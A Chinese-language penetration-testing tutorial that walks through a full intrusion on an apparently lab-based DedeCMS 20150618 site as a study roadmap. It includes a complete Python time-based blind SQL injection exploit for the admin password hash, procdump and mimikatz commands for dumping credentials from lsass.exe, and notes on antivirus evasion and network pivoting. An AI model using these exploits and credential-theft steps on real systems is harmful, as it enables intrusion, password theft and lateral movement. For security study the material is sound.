我们学习安全时,常常会一直停留在某一方面,甚至不知道自己接下来要学什么,而提前了解我们整个渗透需要掌握的技术显得至关重要,这样我们在平时的学习中就会更加注重需要掌握的知识,接下来将通过一个完整的渗透过程来讲解我们需要掌握的知识。
环境图片信息收集使用netdiscover探测存活主机图片图片使用nmap扫描存活主机和开放端口图片使用wfuzz扫描子域名图片信息收集的知识点甚多,远远不止这么一点,这只是冰山一角信息收集可以说是渗透过程中最关键的一步,对目标充分的了解,有利于我们对目标进行全面的分析,后续的思路也会更加明确,而在信息收集的过程中,往往收集的信息是非常凌乱的,信息收集的量大这非常考验我们对信息关键内容的提取,有的时候注意一下小小的细节,我们的渗透思路就来了,所以我们在需要时刻做好笔记,将收集到的信息进行整理归纳当然在社会工程学也是不容小觑,有的时候社工一下轻轻松松拿下别人的网站,不过我还不怎么会。
后台的获取
根据前期的信息收集,进入目标织梦网站注册账号## 后台的获取图片织梦cms 的版本是 20150618 存在注入图片网上搜索公开的exp进行获取后台密码的hash图片附上大佬写的exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:[email protected] |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
发现使用md5加密,进行网上解密。
图片我们需要熟悉各种加密算法的特征,遇到不同的密文时我们就能够快速的破解密文。在这一步获取后台,我们是为了下一步webshell服务器,当然也可能直接远程执行命令进行写码或者直接上传文件,但一般前台能进行文件上传的网站很少。此时在我们心中应该要有很多登录后台的方式:SQL注入、xss获取cookie、弱口令、源码泄露进行代码审计、垂直越权、网上公开漏洞、敏感信息泄露、中间件漏洞等等,这些我们都要认真的掌握。
Webshell
登录后台后此时我们需要思考的是如何webshell,可以从各种功能点出发,发现可以上传后门
连接后门,直接webshell网站
我们需要掌握常用的webshell连接工具,如:中国蚁剑、中国菜刀等。
权限提升
当我访问其他文件时权限不够,此时需要做的就是提权
在虚拟终端并不可以执行命令,如果我们需要将shell会话转移到msf中继续往下渗透的话,上传的后门无法执行,说明此时需要上传提权脚本
上传提权脚本
访问上传的asp提权脚本,可以执行命令
生成攻击载荷
而有些目录是无法上传的,此时先上传目录扫描文件,扫描得到可读可写文件
图片上传后门到指定可读写文件,并使用上传的提权脚本进行运行,设置payload,成功反弹。
这里思考一个问题,我们在平常练习中,经常喜欢将直接去目标机中双击后门直接运行,此时与我们上面执行的有什么区别,反弹回来的权限是完全不一样的,在网页上执行该后门返回的只是普通权限,而在目标机中执行返回的却是管理员权限。
由于这里是一个普通权限所以进行提权,搜索可提权的模块
利用提权模块,成功提权
在这里的权限提升中首先我们webshell但得到的权限比较低,无法执行程序,上传提权脚本后,执行程序,反弹到msf中,此时反弹到msf中是为了更好的进行渗透,反弹到msf中此时也还需要进行权限提升,权限提升的方式也分为非常多,我们要尽可能的全部掌握。
由于现在对安全越来越重视,很多产商对各种有攻击性的代码与工具进行了查杀,刚刚使用msfvenom生成的攻击载荷,很有可能被查杀,免杀技术在我们进行渗透过程中是必不可少的,如果一上传到别人服务器上就给杀了,那不是一件很尴尬的事嘛。
所以一般来讲上传的一句好木马、攻击工具等都需要做免杀。
渗透其他网站
往往一台web服务器所包含的网站不止一个,继续扫描ww2.cc123.com的网站目录
找到登录后台的网页,经过测试发现可以用万能密码登录
发现后台存在sql注入,抓取后台登录的包,利用sqlmap进行注入
得到权限后,发现是一个内部ip地址,说明该网站可能是站库分离的网站
利用刚刚上传的提权脚本连接数据库
数据库的种类非常多,我们在渗透过程中不能确定说会碰到那些数据库,所以需要我们掌握数据库的框架、基本操作命令,比如增、删、改查等等。
当前数据库主要有:Oracle,SQL Server,MySQL。
利用Procdump+mimikatz配合获取hash与明文
Procdump是微软官方发布的工具,使用该工具可以绕过大多数的防护软件,procdump.exe把进程lsass.exe 的内存dump下来
将获取的lsass.dmp拷贝到本机上,再使用本机的mimikatz获取hash与明文
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
进程lsass.exe中存在密码信息,使用Procdump获取lsass.exe中的信息
procdump -accepteula -ma lsass.exe lsass.dmp
导出lsass.dmp
将lsass.dmp导出到本机后,使用mimikatz获取明文密码,这样就可以不用将mimikatz传入到目标机中,可以防止mimikatz被杀的可能性。
1.privilege::debug 提升权限
2.sekurlsa::minidump lsass.dmp 用mimikatz载入lsass.dmp
3.sekurlsa::logonPasswords full 获取明文密码和hash
为什么要获取明文和hash呢?
因为在域渗透的过程中可以利用获取到的明文或者hash进行横向传递攻击,由于我这里环境并不是域环境,无法演示,还有各个服务器的网站后台登录等等,都有可能用得到,很多时候大多数密码都是相同的
所以获取明文或者hash可以为我们接下来进行渗透提供很大帮助,而获取明文和hash的方式非常多种,有的时候甚至要自己编写工具。
明文和hash获取请参考:
https://forum.butian.net/share/259
https://forum.butian.net/share/310
域横向传递传递攻击请参考:
https://forum.butian.net/share/257
https://www.cnblogs.com/zzjdbk/p/14507846.html
多重网段内网渗透
获取路由信息,添加路由信息
在整个渗透过程中,我们需要了解基本的网络拓扑,在绝大多数高校和培训机构,开始上的课都是初级网络知识,需要我们对整个网络组成能够有清楚的认识,我上的课中有CCNA、HCIA、TCP/IP协议分析,就好比这里为什么要添加路由,我如何与其他网段进行通信,这就是基本的初级网络知识。
所以如果是在前期的学习中,有上这些知识的课还是要认真学,其中TCP/IP协议分析,在我们安全方面也是很重要的。
使用socks代理隧道技术
使用proxychains设置代理
这里采用的是socks4a隧道代理技术,相对来讲使用该隧道代理技术并不是很稳定,但操作简单
而使用socks5代理隧道技术很稳定,但却还要在被控制端操作,操作稍微优点复杂。
代理技术有非常多,有的时候我们为了隐蔽自己,常常使用网上的代理地址,好比进行子域名爆破、密码破解等等。
使用Ngrok、Ssh、autossh、Natapp、Frp、Lanproxy、Spike、花生壳工具等工具搭建代理服务器进行内网穿透等等,需要我们在公网搭建实体机。
这些内网穿透的代理工具不一定要全部掌握,但要对其中几款能够熟练使用。
代理技术请参考:
https://sspai.com/post/52523
https://forum.butian.net/share/330
继续使用nmap扫描目标主机的开放端口
图片
上传攻击负载到mysql数据库
msf设置载荷
执行攻击负载
msf成功获取到数据库权限,这里是通过web服务器为跳板,攻击数据库服务器。
如果数据库下面还有其他服务器则大致内容也差不多是这样。
在渗透中msf与cobalt strike都是相当重要的,可以说是必学,涉及的内容是相当多的,这里没有使用到cobaltstrike,但是msf与cobaltstrikes联动可以将各个功能结合在一起。
请参考:
https://www.freesion.com/article/1182816201/
https://www.freebuf.com/company-information/167460.html
https://www.cnblogs.com/dogecheng/p/11450423.html
总结
通过本次渗透实例,希望能够给我们启发,要进行全渗透,可以说每一个环节都是环环相扣,提前明确自己需要掌握的内容,一个一个进行攻破,知识点进行扩宽,就会收获很多,希望能够与你们一起进步,不管自己亦强亦或弱,继续向前走就是了。
访问破百福利:安全相关电子书:–来自百度网盘超级会员V2的分享
hi,这是我用百度网盘分享的内容~复制这段内容打开「百度网盘」APP即可获取
链接:https://pan.baidu.com/s/1q3qjnQCqKAi-MoZZN8xfiQ?pwd=ybjz
提取码:ybjz